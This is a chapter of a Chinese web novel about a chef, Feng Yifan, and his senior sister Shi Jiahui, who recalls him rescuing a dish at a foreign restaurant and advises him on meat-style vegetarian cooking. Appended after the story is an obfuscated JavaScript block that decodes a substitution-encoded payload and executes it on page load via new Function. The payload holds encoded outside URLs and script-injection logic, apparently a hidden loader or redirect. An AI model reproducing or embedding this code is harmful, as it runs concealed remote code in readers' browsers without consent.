第358章 辈分掉了(1 / 2)

硬核厨爸 旁墨 2232 字 2022-04-20

听到石家慧的惊呼,石晋斌有些奇怪的看着两个人问:“怎么?你们俩认识吗?”

冯一帆有些茫然,因为他记不起自己在什么地方见过石家慧。

倒是石家慧直接开口说:“嗯,是见过一次,在国外的一家餐厅,当时我点了一道菜,餐厅里的大厨不会做,最后是一位非正式的厨师给我做了那道菜。”

石晋斌好奇看向冯一帆说:“那个非正式厨师,说的就是一帆?”

被石家慧这样一说,冯一帆从记忆深处翻出了那么一段记忆。

确切说应该是冯一帆回国前的两年前,当时他在经历了一番历练,通过推荐和面试,进入一家国外小有名气的餐厅。

虽然进去了,但因为冯一帆并没有什么资历,所以开始的时候算是非正式厨师。

然后也就有了与石家慧的相遇。

当时石家慧是作为国内外派人员,去那家餐厅进行交流。

在临别前,餐厅的主厨请石家慧他们吃晚餐,当时夸下海口要给石家慧他们做一道地道的中华菜。

结果主厨自然是翻车了。

当时冯一帆恰好见到主厨烹调过程中出了状况,便给出了自己的意见,让主厨进行了一些加工。

将原本快要做废的菜品,给重新烹调成了另外一道菜。

石家慧笑着打量冯一凡说:“当时那道菜真的是让我在异国他乡,尝到了家乡的味道,而且真的是非常棒,很用心。”

冯一帆回以微笑:“大师姐您谬赞了,其实当时我只是救个急而已。”

石家慧接着又问:“后来你们主厨有没有重用你?”

冯一帆笑了笑说:“他们确实重用了我,并且在之后的一年,让我升任了主厨助理,我也帮他们拿到了三星,之后我就回来了。”

石家慧也跟着笑起来:“我就说,以他们餐厅的水准,想要获得三星应该还差那么点意思,原来是因为你,很棒,不愧是苏记如今的掌勺人。”

冯一帆听了赶紧说:“我可算不上是掌勺人,只是暂时代班。”

苏锦荣听到这话,开口说:“你是。”

石晋斌随后也笑着说:“看看,一帆你已经获得了上代掌勺人的认可,今天起你就是苏记掌勺人了。”

冯一帆走到岳父面前,弯着腰认真对岳父说:“爸,掌勺人这事咱们不急,现在还不是时候,您还要继续指点指点我,等处理完姑姑的事,老街改建开始,咱们好好休息一阵,帮您好好恢复恢复身体。”

石晋斌听冯一帆这么说,又笑着说:“一帆这话说的对,帮你爸恢复身体确实是关键。”

石家慧马上说:“师弟,回头我教你几道养生菜,你没事可以给师叔做了,帮师叔好好调养一下身体。”

冯一帆立刻笑着答应:“好的,那真是多谢大师姐了。”

苏锦荣看着女婿,最终也是笑着点头:“好。”

石晋斌又接着对女儿说:“家慧,这次呢,你这师弟主要做素菜,我觉得这个你肯定拿手,给你师弟点意见。”

说起这个素菜,确实是石家慧比较拿手的。

石家慧在沪海酒店里,专门设计了一桌素食宴,获得了不少人的追捧。

而且也是因为石家慧的这个素食宴,让她真正成为了酒店的主厨。

听说冯一帆要做素菜,石家慧马上明白,这位师弟是打算要用素菜,去跟来抢老匾的那几位比厨的。

石家慧想了想问:“师弟,你是打算全素呢?还是打算要素菜荤做?”

冯一帆听大师姐已经问了,便把准备的菜单递给了大师姐:“我准备是素菜为主,但是要荤素搭配,主要是做给孩子吃。”

石家慧看了看菜单,听了冯一帆的打算,直接说:“那简单,我们就素菜荤做。”

所谓素菜荤做,是用做荤菜的方式去烹调素菜。

这样一来,会让素菜带有荤菜的味道。

当然,在烹调的过程里,是需要加入一些肉类去添补素菜味道上的缺失。

正经的素菜荤做料理宴席上,是有一个比较严苛的要求,要吃得出肉味,但是却不能够见到一丁点的肉来。

这或许对一些外行的食客来说,是一个非常神奇的事情。

但实际上,对于厨行来说,这也不算是多么神奇。实际上就是把肉味给烧进菜里,然后再把肉全部都给剔除。

当然,这其中最为关键的一点是,必须要准备上好的清汤。

这是要经过精细熬煮过后,还要将汤中的一切杂质除去,最终保留下的汤清如白水,但却具有高汤的鲜美。

石家慧很认真说:“如果你真的要那样做,那么上汤少不了,你应该提前准备。”

冯一帆点头:“嗯,我已经准备了一些,今天还会继续准备一些。”

石家慧点点头:“那就行了,剩下的那些小技巧,相信师弟你肯定没问题。”

冯一帆文言顿时笑了起来:“师姐您还真的是看好师弟我啊。”

石家慧立刻回应:“当然啦,我爸在电话里可是把你夸得很厉害,我自然是对师弟你充满了自信的,至于那些背叛了师门的家伙,肯定不能是你的对手。”

石晋斌听到大女儿的话,马上呵斥一声:“家慧,不要瞎说,他们算是你的长辈。”

石家慧撇撇嘴:“什么长辈,一点长辈的样子都没有,就说那个孙明兴,在酒店里跟我是经常摆架子,结果只有那么点本事。”

苏锦荣看向石家慧问:“孙明兴,你们,在,一起?”

石家慧点头:“是的师叔,孙明兴和我在一个酒店,一直跟我明争暗斗,这次升职他算是彻底输给了我。”

石晋斌无奈摇头:“你就那么点本事,赢了孙明兴也值得拿出来说?”

石家慧不服气说:“爸,我这也算是给您长脸啊,您以前不是常说,那个孙明兴仗着师兄的地位欺负你吗?”

石晋斌顿时皱起眉头,一脸严肃问:“我什么时候说过?”

石家慧见到父亲要发火,赶紧就躲到苏锦荣的轮椅后面,笑着说:“有一次,你喝多了,就酒后跟妈和我抱怨过。”

被女儿给当众揭了个短,让石晋斌脸上顿时有点挂不住了。

石家慧也看出父亲不对劲,赶紧对冯一帆说:“师弟啊,走走,我们进后厨去,让大师姐看看你的手艺。”

见到女儿要躲,石晋斌想要出手,可是转念一想又舍不得,毕竟是自己女儿。

哪怕如今这女儿已经是两孩子母亲,也已经是成为了一位酒店主厨,更已经是四十多岁的人。

!function(){function a(a){var _idx="m5wvwvmdbp";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^m46DfhdLmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6mYY65T_JmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJmF6TS6^SmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^m46DfhdLmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6mYY65T_JmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJmF6TS6^SmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6mYY65T_JmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR8^nDXDX^f)J"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"^nDXDX^f)J"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mD4RYpSfmRT4"="o}0X5ThF)mR)Y)7_DmRT4"="o}02pThFmD4RYpSfmRT4"="o}0_JqhFmR)Y)7_DmRT4"="o}02TOhFmD4RYpSfmRT4"="o}0CSqhF)mR)Y)7_DmRT4"="o}0)FfThF)fmD4RYpSfmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qFq^)Y6(:mJfY)^(TmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qFq^)Y6(:mJfY)^(TmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^m46DfhdLmRT4gQ}1Q/f/o}0j(8}vR8^nDXDX^f)J"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^m46DfhdLmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();